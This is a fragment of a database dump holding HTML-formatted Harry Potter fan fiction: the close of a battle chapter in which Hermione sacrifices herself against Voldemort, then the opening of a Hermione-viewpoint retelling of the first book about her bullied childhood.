voices of Ginny and Professor Figgs, Harry tugged my arm gently. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on, Nene.&#8221; Harry started moving, but the foggy feeling started pulling me downward. &#8220;Nene&#8230;&#8221; his soft touch became misty silk, as it felt farther and farther away.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; I screamed out, begging for his solid presences. But then those freezing dry hands wrapped around my neck, forcing me still.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not done here yet, little girl.&#8221; He spat into my face. Grabbing my hair, he roughly held me down bowing to his feet. &#8220;Well, well, Harry Potter I do believe you have something I want.&#8221; Voldemort shouted towards the ceiling. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I rather kiss a flobberworm than have Professor Figgs return to you.&#8221; Harry screamed from the darkness of the night.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dear Potter, do you really want me to hurt your precious love?&#8221; He kicked my stomach, causing a sharp pain. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go Harry,&#8221; I yelled being beat again. &#8220;Get Professor Figgs out of here.&#8221; Blood dripped out the side of my mouth. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come cousin, help your kin become great once more.&#8221; His red eyes seem to darken in pleasure as Professor Figgs moved towards the edge of the balcony. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, Professor,&#8221; Ginny pulled her back. &#8220;Either way he&#8217;ll kill Hermione, with or without you going down there.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No longer having patience for their reluctance, Voldemort pointed his wand ready to kill me. As I saw those lips moved, I prayed to God that Harry might win the future war even if this battle was lost.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait,&#8221; Blaise shouted quickly. Throwing a jar at Harry and the crowd, they froze exactly in place. Looking towards the group below, she shined a scary expression. &#8220;They are yours sir, for the taking.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Surprised by the gesture, Voldemort only nodded in response. Instantly they were brought down as Blaise bowed eagerly in front of the Dark Lord&#8217;s feet. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry for earlier confusion. But they could only trust me, if I had fought bravely by their side.&#8221; She smiled showing off her beautiful teeth. &#8220;I hope his Greatest will forgive me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I rarely forgive. And if so it is done with fitting punishment. Tell me child, why should I forgive you? Or why should I trust you at all?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She has been helping me Master,&#8221; Professor Snape stepped forward bowing towards the man. &#8220;I ordered her to befriend Potter and his silly friends. They not only trusted her, but gain access into their little club.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really? So you follow the ideals of our ways? You pledge your allegiances to me and me alone? You are willingly do what I want of you?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes sir, I do whatever you wish.&#8221; Blaise knelt obediently on her knees, not only shocking me but everyone else as well. <i>No, she must be lying</i>.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s lying Master! She hates our ways and those in it. Her blood is tainted with a useless Squib. My son has also told me of her ignorance of her place in society.&#8221; Lucius Malfoy spoke, with utter venom in his voice. &#8220;She lies to protect Potter and their cause. She&#8217;s trying to protect the filthy mudblood.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I protect only myself!&#8221; She stood staring straight into Malfoy&#8217;s eyes. &#8220;It is true sir, I had a mother who was a Squib. I rarely engage in adolescent parties and frivolous past times my peers so like to be apart of.&#8221; Blaise turned to confidently speak with the Dark Lord. &#8220;I want respect. I want power. I want everyone to know that I am as good or even better than them. So forgive me sir, for not wasting my time with Lucius&#8217; son. I rather gain more knowledge and skill in beating those who oppose me, or oppose my master,&#8221; She titled her head, in a sign of respect. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>This is not happening. Please let this not be true. Dear Merlin let this not be true.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Yes, you can gain more success and achievement if you ignore Lucius&#8217; son. Well done Severus, you have found me an unexpected surprise.&#8221; Voldemort&#8217;s smirked gave me chills at how real this truly was. &#8220;So you will not mind me killing the mudblood or any of her companions?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course not sir,&#8221; Blaise happily answered. &#8220;But may I say one thing before you do?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There I knew she was lying!&#8221; Lucius shouted.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Master, if you kill them now, what show will be left when the Aurors arrive? Will the world not know your fantastic power, if you kill Potter before any witness?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;True,&#8221; He stood staring at Peter. &#8220;Tie them and push them to the side. We shall continue the ceremony and show the world I am back by killing the boy who lived.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Automatically they grabbed us, wrapping us in pairs. Feeling Harry by my side, I leaned my head against his shoulder. Ron was tied tightly against Ginny, while Remus was wrapped with Neville. Winston was not so lucky, for he was being curse with the Crucio by Avery and Nott.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, is this really it?&#8221; I let the tears freely roll down my face.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t cry. Even if we die today, we will not go crying.&#8221; He awkwardly kissed my cheek with his champ lips. &#8220;But before we do I have to tell you something.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it Harry?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well its&#8230;I mean to say,&#8221; he stuttered over his sentence. Knowing fully well what he was going to say, I stopped him quickly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t,&#8221; I interrupted his flustered face. &#8220;Don&#8217;t tell me like this. I rather you never say it, because saying you love me now is too clich&#233;.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I thought you lived for those moments?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Isn&#8217;t our life fictional enough?&#8221; I smiled; truly thinking this was my last day to live. &#8220;I know how you feel even if you just realized it. But promise me, if you get out of this, you keep fighting.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You mean we&#8217;ll keep fighting.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; I paused. &#8220;We&#8217;ll keep fighting.&#8221; Looking up, I saw Professor Snape walked over with hatred written all over his face. Kneeling down before Harry, he pointed his wand towards us, while whispering.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Once you get free, you hide. Albus is coming soon.&#8221; Suddenly we felt the rope ripe behind us. &#8220;Move towards the others,&#8221; Harry&#8217;s wand was carefully was placed back into his hands. Standing up, he kicked us backward impacting with the other four. &#8220;I wanted to do that for a long time.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Walking back towards the crowd, I saw him take his side beside Blaise. Slightly nodding at Blaise, she titled her head at my direction. Giving me a small smile, I saw her pull another bomb into her sleeve. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, we&#8217;re all free. We need to do something about Remus. He&#8217;s badly hurt.&#8221; Harry murmured breaking me away from Blaise&#8217;s eyes.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, can you carry him?&#8221; I asked wondering what she was up too. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think so,&#8221; he shifted, keeping the rope to appear it was still in take.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ginny, Neville you&#8217;ll have to guard them.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you think Snape is going to do to distract them?&#8221; Harry whispered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think its Snape who will do the distrasticing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It is time,&#8221; Voldemort drank the goblet set on the table where Professor Figgs was placed. Picking up the dagger, he started chanting words, unfamiliar to me. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Remus screamed charging towards the circle.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville, your were supposed to hold him.&#8221; Ron shouted in panic. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Kill him,&#8221; the order rang through the air. Greedily raising their hands, half a dozen wands pointed at him. Before the killing curse reached his figure, Winston with his last strength, jumped before him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Run Hermione, get out of here!&#8221; He screamed before dieing before our very eyes. Ignoring the lost soul, they shot another curse at Remus.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Expelliarmus,&#8221; the voice of Sirius broke through. Looking up, we saw familiar faces with ready wands.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Kill them all,&#8221; Voldemort shouted at us. Lifting the dagger, he quickly tried to fulfill his wish. Before he could pierce down, Blaise threw the bomb at his direction, blinding the dark lord. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll enjoy killing you!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lucius, you sick rat!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Crucio!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron, Ginny, get down!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bill, give us a hand. This guy will not stay down!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Expelliarmus!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Padfoot, get off him!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No way Moony, this scum bag is mine.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stupefy!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, where are you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wingardium Leviosa!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Someone clear this smoke!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well if it isn&#8217;t Longbottom. Tell me how are your parents?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Saner then you!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Crucio!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As the fog cleared, faces were matched with cries. Ron was proudly standing with his family, surrounding several unconscious Death Eaters. Sirius and Remus were beating on only a single man. It didn&#8217;t take a long time to realize it was Peter, their once great friend. In the corner Lucius gagged with a sock, with Moody helping Neville off the floor. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No!&#8221; Voldemort screamed, realizing that Blaise had stopped him from stabbing Professor Figgs. She became a shield herself, taking the dagger deep in to her stomach. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Feeling a presence behind me, a cold metal touched my neck. &#8220;I wouldn&#8217;t move little girl.&#8221; Bellatrix whispered into my ear. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let her go,&#8221; Harry ordered with several others by his side. Moving backwards we reached Voldemort, shaking in anger. Up close, I saw Blaise cringing in pain while covering Professor Figgs, who was still tied up.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Master we must leave.&#8221; Nodding his head at his loyal servant, they backed away from the crowd before them. Charlie and Tonks ran to Blaise, while Sirius helped untie Professor from bondage. Professor Dumbledore appeared through the crowd, proudly standing by Harry&#8217;s side. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come Tom, leave the girl alone. She has no use to now. You have no where to go.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Actually Albus, she is very useful. Stay where you are, or I&#8217;ll kill her. Trust me, I would do so in an instant.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Take me instead, do not hurt the child.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sir, don&#8217;t trust him. He&#8217;s nothing but lies.&#8221; Harry inched closer ignoring the earlier threat. Quickly the blade, inched closer piercing my skin. Tightly I shut my eyes in pain.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Professor Dumbledore shouted. &#8220;We&#8217;ll let you go. Just hand Hermione over.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you take me for a fool? She stays with us and you&#8217;ll let us go.&#8221; Moving my eyes back and forth, I knew we were at a stand still. Neither man wanted to compromise their positions. Looking into Harry&#8217;s eyes, I saw the love he had for me pouring out of his soul. Breathing very calmly, I decided a very risky choice, which only idiots would do. Luckily, I was an idiot in love.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Raising my arms, I pulled the blade across my neck, surprising Voldemort and Bellatrix. Letting go, she saw my blood on her hands. Dropping to the floor, I felt someone beneath me gently holding me. Opening my eyes, I saw Harry with horror written all over his face.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nene,&#8221; placing my fingers on his mouth, I smiled.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you Harry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nene,&#8221; he shouted in agony. &#8220;Someone help her!&#8221; Shuffling and stomps were heard, but I could only concentrate on him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Kiss me Harry, I want to go knowing you loved me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t say that. We promised not to be clich&#233;. Hold on Nene, you&#8217;re going to be taken care of.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please Harry,&#8221; my breathing started to slow down. Reluctantly, he moved to kiss my lips, with my blood dripping on to his leg. &#8220;Take care of Blaise for me, she&#8217;s not as strong as she seems.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, because you&#8217;ll do it yourself.&#8221; I felt my body being moved onto something soft. &#8220;You promised to fight with me, so you&#8217;re going to do it.&#8221; His hand gripped mine, while everything around me was slowly becoming dim.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Be strong Harry, I love you,&#8221; and then the world became black.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p> '),
	(240, 1, '<p class="MsoNormal"><b>Summary:</b>  This story will be the Hermione Granger\nversion of “Harry Potter and the Sorcerer’s Stone.”  You get to see everything that she is\nthinking and get a different point of view of Hermione than you did seeing\neverything from Harry’s eyes.  Plus since\nI totally feel that Harry and Hermione should be the ones getting together,\nI’ve worked that aspect into my plot as well. \nThis is the first of a Hermione Granger Series I will be writing to\nparallel all of the original Harry Potter books.  This story was taken down at one point but\nnow is back up.  Please don’t feel\nobligated to submit reviews if you’ve already done so before.  I keep all my reviews in my e-mail and that’s\nall that matters to me.</p>\n<p class="MsoNormal"><b>Disclaimer:</b>  Following the standard disclaimers I’ve seen all\nover the place I’d like to point out the obvious:  I don’t own these characters as I’m not J. K.\nRowling.  If I was, I’d be rich and\nprobably wouldn’t be working 40 hours a week and spending my free time\nunwinding by writing fan fiction.  In\nsome cases, I did have to ‘repeat’ some of the dialogue in the original\nstory.  This was necessary to satisfy the\nscenes I was creating.  I won’t do it\nthat often so please bear with it.</p>\n<p class="MsoNormal"><b>Chapter Summary:</b>  This covers Hermione’s summer before her\nfirst year including a little about her life at her former school, how she got\naccepted into Hogwarts, and her first trip to Diagon Alley.  This chapter was actually added at the\nrequest of a reviewer.</p>\n<p class="MsoNormal">--- Begin Fic Here\n---</p>\n<p class="MsoNormal">      “Ooo look, it’s\nGoodie Goodie Granger!” a blonde-haired boy in braces taunted as a girl with\nbushy brown hair and brown eyes rushed passed him, books clasped to her chest.</p>\n<p class="MsoNormal">      Her real name was\nHermione Granger, but all of the students in her class called her by this\nridiculous nick name.  It was bad enough that\nat age ten she was already a complete outcast at school, but now kids were\ngoing out of her way to torment her. \nWhy?  Well it had all started five\ndays ago.</p>\n<p class="MsoNormal">      Every year, the\nstudents who would be leaving for secondary school at the end of term performed\na huge practical joke on the last day of school.  It was something like a school tradition\nexcept the staff never condoned it because it was usually something very\ndangerous or stupid.  This year Hermione\nand her classmates would be the ones to keep this tradition alive as they were\nall leaving for secondary school.</p>\n<p class="MsoNormal">      Hermione had no\nintentions in participating in the practical joke though.  She thought the whole idea was ridiculous and\nchildish.   She also knew no one would miss\nher because most of the students regarded her as a brainy, know-it-all who\nwouldn’t know fun if walked up to her and kicked her in the shin.</p>\n<p class="MsoNormal">      She was half\nexpecting the practical joke to have something to do with humiliating her but\nshe found out this wasn’t the case. \nOutside of school she overheard one of the girls in her class, Sara\nMillington, talking about what the boys had come up with for this year’s\npractical joke.  They were all planning\non bringing paint filled balloons and even a few bb guns on the last day of\nschool and causing a little chaos by tormenting the younger students and\nblasting out a few windows.  From what\nHermione had gathered one of their main targets would be a younger student,\nMelvin Cartwright, who was often picked on for being short and scrawny and having\na funny lisp.</p>\n<p class="MsoNormal">      When she\noverheard these plans, she knew that she couldn’t sit idly by and watch the\nboys in her class torment Melvin, so she told the assistant principle, Dr.\nMinigin about what the students had been planning.  The last day of school, the staff made a\npoint to search the suspected students and confiscate their concealed paint\nbombs and bb guns before letting them into the building.</p>\n<p class="MsoNormal">      It didn’t take\nlong for word to get out that it was Hermione Granger who had foiled their\nplans.  They hadn’t gotten in any real\ntrouble.  Since it was the last day of\nschool, Dr. Minigin let them off with just a day sitting in the detention\nroom.  Still, they were mad that their\ntradition had been broken and Hermione was definitely feeling their wrath.  She was just glad that they wouldn’t have a\nchance to retaliate aside from hurling insults at her as she passed.</p>\n<p class="MsoNormal">      “Geez Hermione,\nwere you just trying to see how unpopular you could be before you left,” a girl\nhad come up to walk beside her.  It was\nSara Millington.</p>\n<p class="MsoNormal">      “No,” Hermione\nsaid shortly, “I was just trying to keep your stupid friends from going too far.  They were going to torture Melvin.  It wasn’t right.  I can’t believe you even thought it was\nfunny.”</p>\n<p class="MsoNormal">      “Well at least I\nhave friends,” Sara said huffily.</p>\n<p class="MsoNormal">      Hermione shook\nher head as she hurried away from Sara.  <i>“As if having idiots for friends is\nsomething to be proud of,” </i>she thought to herself.</p>\n<p class="MsoNormal">      She walked into a\nnearby classroom.  Her last class of the\nday and then she was free.  Since it was\nthe last day and they’d already finished all their tests, the teacher was just\nletting the students do whatever they wanted. \nEveryone sat around and talked cheerily about their summer plans.  Hermione reached in her bag and pulled out a\nbook.</p>\n<p class="MsoNormal">      “Hey Granger,” a\nboy behind her called.  Hermione felt a\nwad of paper hit her on the back of the head. \nShe turned around to face Steve Porkinson. “I just figured out the\nperfect job for you; you could be a librarian. \nAfter all, they’re all old ugly hags who have no friends and no lives.”</p>\n<p class="MsoNormal">      Hermione rolled\neyes. “Right then; well I guess you’ll be cleaning out toilets for the rest of\nyour life then.  I mean after all you’re\nscum, so you’ll be used to being around other scum.” She returned to her\nreading.</p>\n<p class="MsoNormal">      It was ironic how\nmuch she hated school considering the fact that she loved reading and studying\nand learning.  She always earned top\nmarks in all of her school subjects, which was one of the main reasons why her\nclassmates hated her.  </p>\n<p class="MsoNormal">      The other major reason\nwas that she talked too much.  She just\ncouldn’t help it.  She always talked when\nshe was nervous and though she’d never admit it to them, the other students\nintimidated her.  She just wasn’t much of\na social person so she never knew how to act around other kids her age.  They didn’t like the same things she liked,\nand so she never knew what to talk about. \nWhenever she opened her mouth she ended up making a fool of herself or\nmaking them hate her even more.</p>\n<p class="MsoNormal">      Because of this,\nshe had no friends.  She spent most of\nher free time in the library a few blocks away from her house or in her room\nreading.  It had been that way for as\nlong as she could remember.  Hermione\ndesperately wanted at least one friend she could talk to, someone who could\nunderstand her, but she knew she wouldn’t find it at this school.  Her only hope was that in secondary school,\nthings would be different.  She was going\nto Landmarks Academy, a secondary school that focused on students who were\ngeared for academic excellence.  Of\ncourse, the school was very prestigious and she had to apply but that was the\neasy part.  She had found out a few weeks\nago that she’d been accepted.  Perhaps at\na school like Landmark she’d be able to fit in better, at least that’s what she\nhoped.</p>\n<p class="MsoNormal">      There was a loud\nbuzz in the background, signaling the end of class and the end of school.   Everyone in the class cheered as they rushed\nout the door.  Hermione waited for the\nstampede to stop before she left herself, saying a hurried “goodbye” to her\nteacher.</p>\n<p class="MsoNormal">      Hermione stepped\noutside and basked in the afternoon sunlight. \nShe saw her mom waiting for her a ways away in front of their car.  Her parents took turns picking her up from\nschool.  They were both dentists and\npracticed together in an office in the city nearby.  Ironically, Hermione had rather large front\nteeth, but her parents didn’t seem to think there was anything wrong that\nwarranted dental surgery no matter how often she complained about it.  </p>\n<p class="MsoNormal">      She was glad it\nwas her mom picking her up today.  She\ncould tell her about everything that had happened at school.</p>\n<p class="MsoNormal">      She adjusted her\nbag and then rushed to meet her mother. But before she made it even halfway to\nthe car, she heard a boy shout her name. “Hey Granger!”</p>\n<p class="MsoNormal">      Hermione turned\nand saw Steve glaring at her.  He had a\nbb gim in his hands.  Apparently it had\nbeen missed in the search that morning. \nHe was pointing it at her. \nHermione froze for a moment.  She\nknew that the bb gun pellet wouldn’t kill her, it was too small for that, but\nshe was willing to bet that it would hurt a great deal.  She took a few tentative steps backwards and\nlooked wildly around for signs of a staff member.</p>\n<p class="MsoNormal">      “Put that down,\nyou little hooligan!” her mother shouted. \nHermione could hear 